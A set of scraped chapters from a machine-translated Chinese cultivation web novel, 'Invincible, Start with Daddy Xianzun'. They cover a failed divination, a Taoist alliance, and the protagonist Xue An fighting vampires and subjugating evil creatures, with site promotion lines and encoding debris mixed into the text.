    But at this time he didn''t care so much. For the safety of the third junior brother, he took a step forward and had to forcibly terminate this game.


    But at this moment, I only heard Luo Linyuan say in a weak but extremely firm tone: "Don''t come over, it will be all right!"


    As soon as the voice fell, he spouted another mouthful of blood.


    This time the essence and blood turned into blood mist, directly integrated into these three pieces of money.


    The original majestic Qi stopped momentarily, and then the pieces disintegrated.


    Broken together, there are these three Yin-Yang chaotic money.


    I saw them scattered like mud and sand.


    But at this time, Yan Jingcheng and Zhang Zhixing could no longer take care of these foreign objects. They rushed forward and hugged Luo Linyuan who fell backward.


    At this moment, Luo Linyuan, vomiting blood, his face pale as paper, only a pair of bright and frightening eyes.


    "I saw!"


    How could Yan Jingcheng take care of those, and shouted: "Quickly stop talking, take a break!"


    He said that he would put his own cultivation level into Luo Linyuan''s body.


    Luo Linyuan grabbed Yan Jingcheng''s wrist, UU reading www. uukanshu.com said in a deep voice: "Big brother, I was seriously injured this time, so I can only forcefully retreat, so don''t waste your strength!"


    "Before the retreat, I will tell you what I see!"


    Yan Jingcheng stopped and finally nodded.


    "On the battlefield full of corpses, a monster is swallowing everything upright. It is absolute death and terror, but in this scene, there is a white voice and shadow insisting!"


    Speaking of this, Luo Linyuan''s breath has weakened, but he still stared at Yan Jingcheng, shouting hoarsely.


    "Find that figure, that is the only life in this mortal game!"


    After saying these words, Luo Linyuan''s eyes quickly dimmed, and then he entered a state of concentration.


    The Confucianism lost one general before the meeting of the Hundred Schools was convened.


    But at this time Yan Jingcheng and Zhang Zhixing didn''t care about this.


    Because they were all shocked by the scene Luo Linyuan described.


    After a long time, Zhang Zhixing gave a wry smile.


    "This damn...what a huge surprise!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2528 Yuan Henry Zhen Chaos Secret Secret), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2529： Quanzhen Chongyang sincere cooperation

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    In a Taoist temple that was temporarily rebuilt in Yunxiao City, the Dragon Slashing Immortal Master He Tianxuan looked solemn and remained silent.


    He had just received a reply from Yan Jingcheng, which described the entire process of divination in detail. After seeing what Luo Linyuan said, even if you were the first person in the Taoist school of Zheng, He Tianxuan was still heartbroken.


    This kind of horror from the heart made him flawlessly care about the three lost yin and yang chaotic money.


    There was only one thought in his mind at the moment.


    what to do!


    In fact, as Yan Jingcheng said, as early as when the three shadow gods of the Yin and Yang family appeared, he had already noticed something was wrong.


    Confucianism emphasizes sincerity, while Taoism emphasizes the unity of nature and humanity. Although they choose different paths, they can reach the same goal by different routes, and they can perceive danger in advance.


    That''s why He Tianxuan lent the Yin and Yang Chaos Money to Yan Jingcheng without hesitation.


    The purpose is to use Luo Linyuan''s means to deduct the secrets and solve the mystery of the sense of crisis in happiness.


    But I didn''t expect that the result would be so serious. Luo Linyuan, who possessed the Ibu Tianshu, was crushed to a serious injury by a heavenly secret, and the result of the deduction was also chilling.


    After a long time, he couldn''t help sighing, then flicked the dust.


    "Come on!"


    A disciple walked into the house, bowed and bowed, "Master!"


    "Give me an order. During this time, no disciples are allowed to go out. I will talk about anything when I come back!"


    "Yes!"


    This disciple Rin promised and was about to ask when the Master would come back, but when he looked up again, He Tianxuan was nowhere to be seen.


    At this time, He Tianxuan had already flown out of the Taoist temple and arrived in the outside world.


    Yunxiao City is very large, but how could this stop He Tianxuan, and saw him spanning a full half of the city in a flash, before arriving at another Taoist temple that was temporarily rebuilt.


    When he fell into shape, the guards in front of the door recognized him at a glance, and there was a commotion.


    Because no one knows what the head of the decent school intends to come here suddenly.


    He Tianxuan took a deep breath and said loudly: "He Tianxuan, the righteous school, come to see the Master of Quanzhen Chongyangzi!"


    The guards looked at each other, not knowing how to respond.


    At this moment, only a chuckle came from the Taoist temple.


    "Brother He came to visit, this is really a rare visitor! Please come in."


    With the voice, the door of Taoist temple opened.


    The Taoist guards then retreated.


    He Tianxuan stepped into the Taoist Temple, facing a wall of Zhaobi, and after bypassing the wall, his eyes suddenly opened up.


    I saw that in this small courtyard, there are various rockery and flowing water, and all of them are exquisitely arranged and beautiful in shape, which makes people feel relaxed and happy.


    But He Tianxuan''s attention was not on these. When he entered the courtyard, his eyes were immediately attracted by a figure standing by the small pond.


    Although this person was simply standing there, he was integrated with the entire small courtyard. If He Tianxuan hadn''t cultivated at a high level, it would be impossible to spot him.


    This feeling is very mysterious. This person is clearly standing by the small pool, but ordinary people can''t see him at all, and even the divine consciousness can''t find him.


    As if standing there was not a person, but a tree, a stone.


    He Tianxuan''s complexion became serious.


    The strength of this guy... seems to be diligent again!


    Not to mention anything else, this realm of harmony with light and dust cannot be underestimated.


    This also strengthened the thoughts in He Tianxuan''s heart, and saw him quietly walking behind this person.


    The small pool in front of it was gurgling, and several goldfish were swimming in it.


    Without looking back, the man quietly looked at the fish in the small pond.


    He didn''t speak, so He Tianxuan wouldn''t speak.


    The two remained silent like this.


    It wasn''t until a long time later that I saw the man chuckle and said, "Brother He came here, it shouldn''t be just to watch these goldfish!"


    He Tianxuan nodded, "Of course not, I''m here to discuss an important matter with you!"


    "Oh? Important thing? But I don''t know what it is?"


    With that said, the man finally turned around and revealed his face.


    This was an ordinary looking man, of the kind of ordinary appearance that was thrown into a sea of ??people that even a spray could not provoke him.


    The only thing that shines is his narrow and long eyes, although they usually contain divine light, they don''t show any clues.


    But the light that occasionally revealed between Gu and Pan was enough to shock people.


    Especially when you are watched by these eyes, you can feel a strong sense of crisis.


    He Tianxuan took a deep breath.


    This man is the new leader of the Quanzhen Sect of the Taoist Chongyangzi.


    Regardless of his age, he is an extremely tricky character.


    The strength is unfathomable.


    This time, He Tianxuan came here specially, just to discuss with such a rising star of Taoism about the Hundred Schools Convention.


    "Chongyang Junior Brother has a profound Taoism, and I must have felt a faint sense of crisis at this moment!"


    He Tianxuan broke the secret and said straightforwardly.


    In the eyes of the Chongyang child, the light is very bright, but the tone is unhappy, "Oh? So did Senior Brother Tianxuan feel it?"


    "More than just feeling, I also discovered an important thing."


    With that said, He Tianxuan spoke in a solemn tone about cooperating with Confucianism in deducing secrets.


    When he finished speaking, Chongyangzi''s eyes flowed and he was silent in thought.


    He Tianxuan eagerly said: "Although Na Luo Linyuan is not very young, he is very talented and he knows it by birth, especially the Ibu Tianshu handed down by Confucianism. It can be said to be an extremely powerful existence."


    "But it is such a character, coupled with the support of the Yin-Yang Chaos Money, which is the treasure of Zhenshan Mountain, is still crushed and seriously injured by the heavenly secret that he has peeped.


    "So what? It''s impossible to say that you just withdrew from this Hundred Schools Conference just because you felt the danger?" Chongyangzi said lightly.


    He Tianxuan shook his head, "That''s impossible. If my Taoist school retreats without a fight, this Baishi prestige that has finally been accumulated will be destroyed."


    "It turns out that Senior Brother Tianxuan also knows the consequences Then why did you come here to inform me of this?"


    "It''s very simple. I want to temporarily abandon factionalism with you, and unite and cooperate. Only in this way can I gain a firm foothold in the next Hundreds Conference."


    Chongyangzi seemed to be smiling but not smiling, "Abandon the opinion of factions? Senior Brother Tianxuan, are you serious in saying that?"


    He Tianxuan blushed.


    You must know that since the Taoist orthodoxy split into the Zhengyi and Quanzhen factions, they have been arguing with each other.


    Among them, the orthodox school that pretends to be orthodox is the most, and it often denounces Quanzhen as fallacy.


    Therefore, these words of unity and cooperation from He Tianxuan''s mouth are indeed very awkward.


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 2529, sincere cooperation between Quanzhen Chongyang and Chongyang), and you can see it when you open the bookshelf next time!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2530： The clue has now begun to harvest

    Remember in one second����


    The audience was quiet.


    Many people looked at Xue An with surprised eyes.


    Can he actually smash the blood of the patriarch?


    Where did this blood slave come from?


    And this Susan was even more stunned, even if she was furious.


    Because she discovered that she had just been timid under the coercion of this "blood slave".


    This discovery made this self-respecting Susan simply unacceptable, so she shouted in a cold voice: "Humble things, do you really think it can be done by attaching Aisi? I will let you die now, you have to die!"


    With that, Susan''s eyes became scarlet and bloody, and the corners of her mouth showed squalid fangs. She raised her hand and patted a palm.


    This palm turned into sharp claws in the air, tearing the air, and blasting down towards Xue Andou.


    It is so powerful that if it is hit, even if this guy''s body is made of the hardest metal, it will have to be chopped up.


    The blood in Susan''s eyes grew hotter, and there was a smug sneer in her heart.


    But her pride didn''t last long, and it all turned into consternation.


    Because Xue An faced the blasting palm, as if the breeze was blowing on his face, he was not moved at all. It was not until the blood came to him that he took a deep breath, and then exhaled suddenly.


    "roll!"


    boom!


    A sound wave blasted straight past.


    The rays of blood are like ice and snow under the scorching sun, melting rapidly and disappearing invisible.


    The audience was in an uproar.


    Because even the dull blood clan, at this moment, it can be seen that Xue An is definitely not an ordinary person.


    This Susan retreated violently and was horrified in her heart.


    How could this man be so tough?


    Then she noticed the faint smile at the corner of Ai Xi''s mouth.


    I was shocked, and then I understood why Ai Xi just said not to provoke this blood slave.


    But the arrogance of being a blood clan made Susan absolutely unable to accept that she was defeated by a blood slave, so she narrowed her eyes, her figure shook, and her speed directly surpassed ten times the speed of sound, and she came to Xue An in an instant, and then lifted it up. The hand blasted a punch.


    The force of the boxing force seems to be able to penetrate even the space.


    Among the kinship, strength does not distinguish between men and women, but only in blood.


    As long as your blood is strong, you can have incomparably powerful power.


    This Susan is a close branch of the Faulkner family. Although not as direct as Aisi''s lineage, it is quite extraordinary.


    Therefore, the power of this fist is that ordinary blood marquis can hardly resist it.


    Many people are slightly discolored.


    Including the patriarch Jonson, who is above the head, can''t help but nod slightly.


    This Susan''s strength is considered to be the best among the younger generation''s kinsmen.


    But such a punch only made Xue An chuckle.


    "Is this the strength of the purebred blood race? Too slow!"


    As he said, Xue An raised his hand slowly, but the second shot came first, and in a short period of time, he directly blocked Susan''s punch.


    Susan''s face changed wildly, "No, this is impossible!"


    With that, blood could surge all over, trying to shatter Xue An''s hands.


    Xue Ansen smiled, "In this world, nothing is impossible!"


    As he said, Xue An suddenly twitched.


    Click.


    One of Susan''s arm was torn off.


    Susan turned around in severe pain to escape.


    Xue An stood with his hand in his hand, without seeing how he moved, he had reached the top of Susan''s head, and then stepped on it.


    boom!


    A strong golden light flashed.


    Before this Susan could react, Xue An stepped directly on the ground from a high altitude.


    The whole chamber was trembling.


    Huge pits appeared directly on the hard granite ground.


    And at the bottom of the pit.


    This Susan didn''t even hum and was trampled to pieces.


    Xue An hovered in the air, looking around all the stunned kinsmen in the audience, revealing a mouthful of white teeth, and smiled sorrowfully.


    "Everyone is here! If they are there, then I''m going to harvest!"


    Many blood races were shocked.


    "He is not a blood slave!"


    "kill him!"


    Many shouts were heard everywhere.


    Dozens of kinsmen rose into the sky and directly attacked Xue An.


    For a time, the blood was heavy and the light was shining.


    All kinds of powerful auras filled the whole conference hall.


    But there is only one goal, and that is Xue An standing in the air.


    Tolan also awoke from the horror of Susan being crushed by Xue An''s foot, staring at Xue An who was under siege in the sky, with a gloomy expression.


    The toughness of this guy was beyond his expectation.


    But now everything is over.


    Because no one can torture and kill a noble kinship lady in front of so many powerful people in the Faulkner family.


    But when he thinks so.


    Suddenly found that Hall not far away was quietly retreating.


    Following back together, there was Miss Ai Xi.


    what happened?


    How could the two of them not advance and retreat?


    Especially Ai Xi.


    This man is so disrespectful


    ^0^Remember in one second����


    She was guilty of chaos, but why did she not look surprised at all, but her eyes were full of excitement?


    This Toran was puzzled.


    But at this moment.


    Xue An, who only listened in midair, said calmly: "Don''t worry, today, none of you can escape!"


    As he said, Xue An stretched out his hand, palm facing up.


    The blood that hits suddenly turned around and gathered in the palm of his hand.


    In an instant, a blood-colored light ball appeared in the palm of Xue An''s palm.


    Although not big, the powerful power contained in it makes many blood races tremble.


    And what shocked them even more was Xue An''s hand-in-hand attack turned into an invisible means.


    "Enough!" Just heard a majestic male voice.


    Many blood races stepped back one after another, standing down.


    Because it is their supreme patriarch who speaks.


    I saw this Johnson slowly standing up and staring at Xue An.


    "Human race powerhouse, I am curious why you have such a strong confidence that you dare to come to my Faulkner family alone to cause trouble! But I believe that this must be your stupidest decision!"


    Xue Anman casually weighed the blood cells in his hands, "Really? But I don''t think so, do you know what you are in my eyes?"


    "What is it?"


    Xue An smiled slightly, "You are like rice growing in the ground and I am the person responsible for harvesting you!"


    This remark made Jonson look pale.


    Although he doesn''t know what rice is.


    But the insult of harvesting these two words still made this Jonson furious.


    "court death!"


    With that said, the blood shadow in Jonson''s eyes flashed, and the whole person instantly broke through the sound barrier, came in front of Xue An, and then raised his hand.


    "In my name, aging!"


    A gray light came straight to Xue An.


    Upon seeing this, the many blood races all stepped back in fear, for fear that they would be contaminated with a trace.


    Because this is the celebrity skill of the patriarch Jonson.


    The sigh of the blood ancestor. l0ns3v3


    Dear, this chapter is over, I wish you a happy reading! ^0^

 Chapter 2531： Follow up

    Remember in one second����


    Walking on the much quieter long street, Xue An calmed down a bit by the cold wind blowing in his face.


    The blood that had boiled because of the evil being about to be harvested also slowly subsided.


    Xue An is very clear about what he is going to do and the consequences that may result from doing so.


    But he did not hesitate.


    Because compared to uncovering the black hands hidden behind the scenes, these so-called evil things are just a group of small people.


    In order to avoid getting in the way at the Hundred Schools Conference, these guys must be eliminated.


    Of course, the eradication mentioned by Xue An is not to completely eliminate it, but just like Bao Huarong or the leader of the witch **** cult. If you can control it, you can control it. If you can''t control it, you can replace it with your body.


    This is the same as playing a game, you have to clear the surrounding mobs before destroying the final boss.


    Of course, the timing of the hands-on is also very important.


    Too early will cause these evil things to be noticed. If you eliminate the old one and the other party sends a new one, wouldn''t it be a waste of all previous efforts?


    It''s too late, too late, it''s easy to miss the opportunity.


    Only now is the best time.


    The Hundred Schools Conference is about to be held soon, everything has been finalized, and if he flares up again, even if the evil thing detects it, it is too late to make new arrangements.


    So Xue An was determined to prepare to do it.


    Soon, Xue An followed the breath on the letter paper to a secret courtyard.


    This courtyard is located in the corner of Yunxiao City, and looks unremarkable from the outside.


    But when Xue An stood in front of the courtyard gate, there was a faint pain at the center of his eyebrows.


    That was caused by his own divine consciousness being stimulated by the monstrous evil spirit in the small courtyard.


    Xue An sneered slightly, then took a deep breath.


    In an instant, his whole personality changed drastically.


    The part of the traits that belonged to Xue An was perfectly hidden, replaced by the imposing vibe.


    This feeling is as if a person has changed in an instant.


    Then Xue An didn''t knock on the door, and walked straight forward, as if he had penetrated a layer of mist, passed directly through the courtyard door and disappeared.


    As soon as he walked with his front foot and his back foot was in the shadow of the corner of the alley, a figure gradually emerged.


    This person was wearing a black robe, and only one beautiful eye was exposed.


    And under the large black robe, half of his body was thick and white.


    It was the descendant of the ghost country, the only remaining girl in the corpse family.


    At this moment, she was looking in the direction of Xue An''s disappearance with a face full of confusion.


    She saw everything that happened just now.


    Because of this, she had doubts about the identity of this "Baohuarong" in her heart.


    After all, she had seen the scene where her temperament was changed like a reincarnation just now.


    Who is this person?


    What is he doing in this courtyard?


    These questions circulated in the mind of the corpse girl, and they also made her hesitate.


    Speaking of which, the corpse-driving girl followed Xue An today, originally intending to assassinate the sneak attack again.


    The last attempted assassination in the restaurant made the corpse-driving girl extremely annoyed.


    All her people died at the hands of evil things, and she suffered heavy losses, so she hated evil things to the bone.


    And the evil spirit on Bao Huarong''s body was so obvious, so of course she wouldn''t let it go.


    In fact, since the last assassination failed, she hadn''t gone anywhere, and simply lurked, staring at the small courtyard where Liefengzhai lived, waiting for the next opportunity to do it.


    This is why she hasn''t shown up during this period of time.


    What is strange is that this Bao Huarong seems to have noticed something recently, and has been hiding in the small courtyard and refused to show up.


    Seeing that the Hundred Family Conference was about to be held, the corpse girl was anxious, and even planned to go straight in.


    At this moment, Xue An appeared.


    After seeing this familiar figure, the corpse-driving girl was overjoyed, and immediately followed, waiting for the opportunity to prepare for action.


    But along the way, Xue An moved extremely fast, and she didn''t find the right opportunity at all.


    After arriving at this small courtyard, the corpse-driving girl suddenly became a little confused.


    She can be sure that she is not mistaken. When she was just in front of the door, this guy did undergo a huge change.


    This made the corpse-driving girl hesitate, who was going to charge directly.


    The key point was that she was extremely horrified to discover that all her spying on this small courtyard had become useless.


    Even the divine mind couldn''t penetrate the courtyard wall.


    At this moment, a figure suddenly appeared on the other side of the alley, and hurriedly ran here.


    The corpse-driving girl gritted her teeth, and then she dodged her body and hid in the shadows again.


    At the same time, this figure had rushed to the front, it was the woman from Liefengzhai.


    She looked around for a moment, panting, and finally locked her gaze on this small courtyard.


    Then she walked up tremblingly, reached out and knocked on the knocker.


    Happiness!


    A dull knock on the door echoed in this alley.


    The corpse-driving girl hiding in the corner shrank slightly. What is she doing?


    Face this


    ^0^Remember in one second����


    Did she knock on the door of the mysterious and unpredictable courtyard?


    But at this moment, the courtyard door opened with a creak.


    The woman was obviously taken aback and jumped back subconsciously.


    But after seeing the person who opened the door, his face was a joy.


    "Old... the village owner!"


    From the perspective of the corpse girl, you can catch a glimpse of the scenery inside the courtyard.


    I saw that Bao Huarong, who had just entered, was standing inside the courtyard gate exactly, without seeing any abnormalities at all.


    But somehow, the corpse girl always finds something weird.


    "Why are you here?" Bao Huarong said lightly.


    "I... I saw the village master you come out, and suddenly felt a little flustered, so I followed!" The woman lowered her head and said weakly.


    The beautiful and charming appearance makes me feel pitiful.


    But this violent Huarong was completely unmoved.


    "Get out of here, this is not a place for you to come!"


    The woman trembled with fright, UU reading nodded quickly, "Yes!"


    But she still plucked up the courage to say: "The village master, you... when will you go back?"


    But the sound of the door slammed shut in response to her.


    The woman was dumbfounded and stood there in a daze.


    But the corpse girl hiding in the shadow of the corner just felt cold all over at this time.


    Because she finally understood why she felt weird just now.


    When this violent Huarong spoke, neither his eyes nor his body had any reaction, and even the tone of voice seemed to be set in advance, without any fluctuations that a living person should have.


    This lifeless feeling is too familiar to the corpse girl who deals with dead corpses all day.


    Could it be that the one who opened the door was not a living person at all?


    Dear, this chapter is over, I wish you a happy reading! ^0^

 Chapter 2532： Steal the day

    Remember in one second����


    As soon as this idea came out, the corpse-driving girl became very curious about this small courtyard.


    no!


    I must go in and see what''s going on!


    Thinking of this, the corpse-driving girl quietly walked around the back of the small courtyard, and then slowly wriggled.


    Along with her squirming, the whole body slowly climbed, and soon came to the courtyard wall.


    Although the spiritual thoughts have been shielded, after climbing up the courtyard wall, the situation in the small courtyard is very clear at a glance.


    I saw a large house in this small courtyard.


    Looking from the location of the corpse girl, you can just see the big open window of the house.


    It seemed to be full of people.


    At this moment, Bao Huarong had just closed the door and walked back. When he entered the house, he only heard the sound of questioning coming from inside.


    "what happened?"


    "Oh, it''s nothing, just a guy who walked the wrong door, has been blasted away by me!"


    Bao Huarong''s voice was very low, and if he didn''t listen carefully, he wouldn''t be able to hear it at all.


    The corpse girl tried her best to listen, trying to hear the voice of the people inside as much as possible.


    But at this time, the sound in the house suddenly weakened, and finally returned to silence.


    The corpse girl was a little annoyed.


    She knew that the other party had obviously laid the restraining circle, and had blocked all the voices.


    But she was not ready to give up.


    The more careful you are, the more proof that these guys must be ghosts.


    With this thought in mind, the corpse girl simply crossed her mind and carefully climbed over the courtyard wall and entered the small courtyard.


    Although her strength is not too high, but because of her practice, her ability to hide her form is very high.


    So as soon as she landed, she became transparent directly, and then sneaked to the front of the room.


    Because of the forbidden magic circle, even when she got closer, she didn''t hear any sound.


    But this prohibition is obviously only for the sound, and does not block the line of sight.


    Obviously, the people under the ban did not expect that someone would be so bold and come here to spy.


    So she quickly came to the back window of the house, and then quietly looked around.


    When the scene in the house came into view, the originally curious corpse-driving girl felt that the blood all over her body instantly solidified.


    Because everything that happened inside has completely exceeded her imagination.


    I saw blood and stumps everywhere in this huge house.


    Of course, the corpse girl is not afraid of these Xu''s blood.


    What surprised her most was the battle that was still going on.


    I saw many strange evil creatures encircling Bao Huarong, but Bao Huarong was not afraid, and waving his hands again and again, carrying out a unilateral massacre.


    The corpse girl suddenly understood.


    This violent Huarong is obviously no longer the original him.


    Otherwise, he cannot kill these evil things.


    So who is he?


    It seemed that it was to solve her question, and with a loud noise, the original voice ban was instantly shattered.


    Then he heard the hoarse roar of evil things coming from the room.


    "Asshole, who are you? What do you intend to pretend to be us?"


    "Haha, haven''t you been looking for me? Now you still ask who I am?"


    With the voice, Bao Huarong''s body dissipated, revealing Xue An''s original face.


    As soon as he saw him, there was a violent commotion among the evil creatures in the field.


    Immediately a few evil creatures turned around and wanted to escape.


    But since Xue An came here, he was fully prepared, and naturally it was impossible to let go of any evil things.


    Therefore, these evil creatures had just walked out a few steps, and they were directly nailed to the place by strands of sword light, turning them into pus and blood.


    Such a clean killing made these surviving evil creatures shudder.


    Because this is really going too far.


    Originally, today was to convene all the lurking evil things to discuss what to do next, but I didn''t expect that when the master of the strong wind village, Bao Huarong, arrived at the scene, he suddenly started his action without finishing three sentences.


    Unprepared, at least dozens of evil creatures died on the spot.


    Feeling the trembling of these evil things, Xue An sneered, "Now I give you a choice, kneel down to live or stand to die, you choose..."


    Before Xue An finished speaking, these evil things knelt to the ground without hesitation.


    "My lord is forgiving! Your lord is forgiving!"


    For these evil things who never knew what propriety, justice and shame are, they can do anything to survive.


    Kneeling down and surrendering is nothing.


    As long as you can escape from here, is it hard to say the rest?


    But he never expected that Xue An didn''t wait for these guys to finish begging for mercy, and said coldly: "Let me ask you, why didn''t any of the people who summoned you to come to the Zhenwu Taoist temple show up?"


    These evil things were taken aback for a moment.


    Xue An raised his hand and pointed, and the head of an evil creature shattered.


    The remaining evil creatures were so scared that they screamed and hurriedly said, "My lord, we don''t know what they are doing. It''s just that they have been absent from this meeting because they heard that it seemed that a great person had summoned them."


    ^0^Remember in one second����


    "Summoned by a big man? What big man?"


    "We don''t know this!"


    puff!


    The evil creature''s head also shattered.


    The remaining evil creatures were shocked, and they looked at Xue An''s eyes full of fear.


    It was as if in their eyes, Xue An was the real demon.


    Xue An just sneered at this.


    "Don''t look at me like that, I said that if you forgive you if you don''t die, then I will definitely not kill you!"


    These evil things are overjoyed, "Thank you, sir!"


    "But even if you don''t kill you, you can''t just leave like this!"


    With that said, the light in Xue An''s eyes was great, and huge spiritual thoughts rushed out, and the remaining evil things were shrouded in an instant.


    "Ah ah ah ah ah!"


    These evil things struggled painfully, but after only a moment, they were suppressed by this divine mind.


    Puff puff!


    After the heads of several overwhelmed evil creatures burst, the eyes of the remaining evil creatures all became blurred. U U Reading


    "Now, I am your master, can you understand?" Xue An said in a calm tone.


    "Yes! Master!" These evil things knelt to the ground one after another, and bowed to worship Xue An.


    And this scene also made the corpse-driving girl almost exclaimed.


    She had never thought of anyone who could completely surrender these inhuman evil things.


    But all this seemed so ordinary compared to what happened next.


    Seeing Xue An waved his hand, the flames rolled directly from the house, burning away all the blood and stumps.


    After the flames dissipated, the evil things that had just died reappeared in front of them.


    It''s just that the eyes of these people have become a little dull.


    It''s like a puppet controlled by a man.


    Dear, this chapter is over, I wish you a happy reading! ^0^

 Chapter 2533： Tamed beast

    You can search for "invincible, cool notes from the novels ( in Baidu to find the latest chapters!


    This terrifying scene made the corpse-driving girl like a lightning strike, and her heart was chilling.


    You must know that in her eyes, each of these evil things present is extremely powerful.


    Picking one out at random may not be your opponent.


    But it is such a brutal group of wild beasts, but in front of this violent Huarong, they are docile like kittens.


    Luo Hua Liushui, who was beaten after only a few encounters, is now forcibly controlled by his soul.


    The evil thing that has always liked to play with people''s hearts, but at this moment, he is completely crushed in his best field.


    How strong is it to be able to do this?


    At least the corpse girl shuddered and her complexion was pale.


    But one thing she can be sure of is that the current violent face is definitely not the master of the strong wind village.


    Who is he then?


    These thoughts were tumbling in her mind, and suddenly a soft sigh came from behind her.


    "Do you want to know who I am?"


    These words almost made the corpse-driving girl jump up, and under the huge shock in her heart, she slowly turned her head, and saw a violent face standing not far behind, looking at her with a smile on her face.


    The corpse girl''s pupils shrank slightly, and the whole person was subconsciously ready to defend against the enemy.


    But at this time, this violent Huarong shook his head slightly, "Don''t be nervous, I won''t kill you. After all, you and I have a common enemy!"


    "Common enemy?" The corpse chaser trembled all over, "Are you not an evil thing?"


    Bao Huarong chuckled, "Who told you that I was an evil thing?"


    Along with the laughter, I saw a flash of brilliance on Bao Huarong''s body, and then he showed his true colors.


    It is Xue An.


    When she saw the white-clothed boy, the corpse girl trembled.


    Although she had not returned to Yangjian''s teahouse during this time, she still immediately remembered the existence that she had vaguely felt that night drinking with Yangjian.


    "You are��."


    "Get to know, my name is Xue An!"


    Xue An!


    This name made the corpse girl''s mouth slightly open, and a look of stunnedness appeared in that single eye.


    Although she has been lurking in the dark for this period of time, she has heard a lot about Xue An''s deeds.


    Especially the engagement with Shen Muyu, the peerless genius of the Shen family, made my ears cocoon.


    But she really didn''t expect that it would be him who disguised herself as a violent Huarong and slaughtered these evil things.


    Xue An seemed to have seen the question of the corpse girl, and smiled faintly.


    "There is no doubt that the master of the strong wind village has already been infested by evil things, so I simply killed him and replaced it with an avatar."


    "So, when I was in the restaurant..."


    Xue An nodded, "That''s me too!"


    The corpse girl was silent for a while, and then slowly said: "Then what are you planning to do now?"


    "It''s very simple, I want to kill all these evil things in one go!"


    Hearing these indifferent but incomparably firm words, the corpse-driving girl was shocked and her face was confused.


    When the clan was ruined, and she was wandering between the heavens and the earth alone, why didn''t she want to wipe out these evil things from the culprit?


    But this is just an idea.


    After all, any of those evil things were unmatched by her.


    For this, she was desperate, and even thought about ending herself completely.


    So when she heard what Xue An said, she smiled bitterly in her heart, just wanting to say that this is like a fantasy.


    But when she raised her head to see Xue An''s eyes, she was suddenly stunned.


    Because just in these bright and bright eyes is full of infinite firmness.


    As if there is nothing in the world that can hardly get him, it makes people feel at ease with just a glance.


    The corpse girl couldn''t help but swallowed back.


    At the same time, I saw Xue An whispered: "I already know what happened to the corpse chasing clan. Don''t worry, all of your people who died in battle have been properly buried!"


    What?


    This sentence made the corpse-driving girl suddenly raised her head and looked at Xue An in disbelief.


    "You don''t have to look at me like this. What I said is true. After all, your people are all good. Such heroes can''t let them expose the corpse wilderness!" Xue An said lightly.


    "You... how did you do it?"


    "It''s very simple, because the land of Witch Gu is already my territory!"


    Next, through Xue An''s narration, the corpse-driving girl finally knew what had happened during this period of time.


    After listening, she couldn''t help crying, and then bowed to Xue Anyingying.


    "Thank you, my lord, for helping me consolidate the bones of the tribe!"


    Xue An avoided the worship, then shook his head and said, "Don''t thank me for this matter. If you want to thank me, you can thank the Mengzhu tribe and the people of the Witch God Sect! It is the bones that they restrained for you!"


    Speaking of this, Xue An suddenly remembered something, "By the way, what is your name?"


    "My lord, my name is Li Fei!"


    "Then Li Fei, what do you plan to do next?"


    Li Fei raised his head, with a fanatical expression in his eyes, "My lord, my philosophy is the same as you, and I want to wipe out all the evil things at once, so I will do whatever you ask me to do. There is no difference!"


    Looking at Li Fei, who was full of determination, Xue An nodded, "Okay, then you will return to the teahouse now. The people of the Jingchu clan and the Sorcerer Sect are stationed there at this moment. You join in and wait. Dispatch!"


    "Yes!" Li Fei responded without hesitation and then turned and left.


    This girl has always done things simply and neatly, never procrastinating.


    After she left, Xue An returned to the hall again and ordered these evil things that had been controlled by him. UU read www.ukanshu.com and let them go away.


    After finishing all the hands and tails, Xue An continued to transform into the master of Liefeng Village and walked out of the small courtyard to the street.


    But he just got out of the alley and couldn''t help but sighed, then stopped.


    "Come out!"


    There was a messy noise in an alley next to the street, and then the woman from Liefengzhai lowered her head and walked out timidly.


    "The village owner!"


    Xue An scowled, "What are you doing here if you don''t go back?"


    The woman was so frightened that she was shaking her clothes and fighting, but she insisted on saying, "The village master calmed down, I...I was just worried about you, so I came here to find you!"


    Speaking of this, her voice was already crying, "When you left, I suddenly had a strong hunch that I would never see you anymore, so I secretly followed."


    Xue An was suddenly speechless.


    When he was leaving before, he did think of abandoning the identity of Bao Huarong.


    After all, after all the lurking evil creatures were surrendered, there would be no shortage of violence Huarong.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2533 The Tamed Beast), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2534： The conference opens

    You can search for "Invincible, Start Searching Novels from Xianzun Dad( in Baidu to find the latest chapters!


    It''s just that the following things suddenly changed, and none of the true martial arts audience evil objects that should have appeared in this small courtyard appeared.


    But the arrow had to be sent on the string, so Xue An could only surrender the remaining evil things. As for his identity, he couldn''t abandon it for the time being.


    After all, if this arouses the suspicion of the true martial arts audience and evil things, then it will be a waste of all previous efforts.


    I just didn''t expect this woman''s mind to be so delicate, she actually felt that she was about to leave.


    Thinking of this, Xue An smiled slightly, "What nonsense, when did I say that I am leaving? Now, don''t I have to hurry back? Quickly lead the way!"


    Faced with Xue An''s "vicious" tone, the woman was pleased with her brows and nodded again and again: "Good lord!"


    The storm subsided in this way.


    At night, the true martial art spectator evil object that had disappeared for a whole day finally appeared.


    From the view master Lu Zhongxuan down, everyone looked excited, as if they had received some kind of promise.


    And because of this, they didn''t notice the strangeness of these evil things under them at all.


    Of course, this can''t be concealed for a while.


    As long as you pay a little attention, these arrangements of Xue An will wear out.


    But Xue An still did this. After all, he didn''t plan to keep it for long. As long as it can be successfully delayed until the official opening of the Hundred Schools Conference, it will be done.


    In this situation, Xue An has been busy all day.


    finally.


